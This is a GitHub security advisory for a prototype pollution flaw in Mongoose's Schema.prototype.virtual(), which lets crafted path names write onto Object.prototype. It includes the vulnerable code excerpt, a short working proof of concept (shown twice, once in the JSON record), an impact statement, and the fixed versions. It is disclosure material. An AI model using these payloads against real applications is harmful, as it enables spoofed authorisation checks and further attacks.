GHSA-6972-9MCM-VHWJ

Vulnerability from github – Published: 2026-11-10 20:46 – Updated: 2026-11-10 20:46
VLAI
Summary
Mongoose: Prototype pollution via Schema.prototype.virtual()
Details

Summary

Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.

Details

In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:

virtuals[name] = parts.reduce(function(mem, part, i) {
mem[part] || (mem[part] = (i === parts.length - 1)
? new VirtualType(options, name)
: {});
return mem[part];
}, this.tree); // lines 2755-2759

Unlike path()/add(), virtual() never received the specialProperties check added for CVE-2022-2564/CVE-2022-24304 (lib/schema.js lines 806, 1308, 1331).

A path containing __proto__/constructor/prototype segments resolves through the prototype chain and writes onto Object.prototype / Function.prototype.

Proof of concept

const mongoose = require('mongoose');
const schema = new mongoose.Schema({});

schema.virtual('__proto__.polluted');
console.log(({}).polluted); // VirtualType instance
console.log(Object.prototype.hasOwnProperty('polluted')); // true
console.log(Object.getOwnPropertyDescriptor(
Object.prototype, 'polluted').enumerable); // true

schema.virtual('constructor.prototype.opol');
console.log(({}).opol); // true

schema.virtual('hasOwnProperty.__proto__.fpol');
console.log((function(){}).fpol); // Function.prototype polluted

Impact

Attacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. ({}).isAdmin checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mongoose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.13.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "mongoose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.8.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "mongoose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.24.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "mongoose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-125118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-10T20:46:33Z",
    "nvd_published_at": "2026-11-09T23:17:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPrototype pollution via Schema.prototype.virtual() \u2014 the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.\n\n### Details\n\nIn lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:\n\n```javascript\nvirtuals[name] = parts.reduce(function(mem, part, i) {\nmem[part] || (mem[part] = (i === parts.length - 1)\n? new VirtualType(options, name)\n: {});\nreturn mem[part];\n}, this.tree); // lines 2755-2759\n```\n\nUnlike `path()`/`add()`, `virtual()` never received the `specialProperties` check added for CVE-2022-2564/CVE-2022-24304 (`lib/schema.js` lines 806, 1308, 1331).\n\nA path containing `__proto__`/`constructor`/`prototype` segments resolves through the prototype chain and writes onto `Object.prototype` / `Function.prototype`.\n\n### Proof of concept\n\n```javascript\nconst mongoose = require(\u0027mongoose\u0027);\nconst schema = new mongoose.Schema({});\n\nschema.virtual(\u0027__proto__.polluted\u0027);\nconsole.log(({}).polluted); // VirtualType instance\nconsole.log(Object.prototype.hasOwnProperty(\u0027polluted\u0027)); // true\nconsole.log(Object.getOwnPropertyDescriptor(\nObject.prototype, \u0027polluted\u0027).enumerable); // true\n\nschema.virtual(\u0027constructor.prototype.opol\u0027);\nconsole.log(({}).opol); // true\n\nschema.virtual(\u0027hasOwnProperty.__proto__.fpol\u0027);\nconsole.log((function(){}).fpol); // Function.prototype polluted\n```\n\n### Impact\n\nAttacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object \u2014 e.g. `({}).isAdmin` checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).",
  "id": "GHSA-6972-9mcm-vhwj",
  "modified": "2026-11-10T20:46:33Z",
  "published": "2026-11-10T20:46:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/security/advisories/GHSA-6972-9mcm-vhwj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-125118"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/commit/318f7e09dd363a1dfddb8180878488dccd2796d1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/commit/74df7769b5a8d89c4413b764029911ee915ea467"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/commit/7a2a6567abbb72c0430c8cc5b7942141844fecff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/commit/fb467e6d33174293dc0360649f20ce68d99117a9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Automattic/mongoose"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/releases/tag/6.13.12"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/releases/tag/7.8.13"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/releases/tag/8.24.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/releases/tag/9.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mongoose: Prototype pollution via Schema.prototype.virtual()"
}



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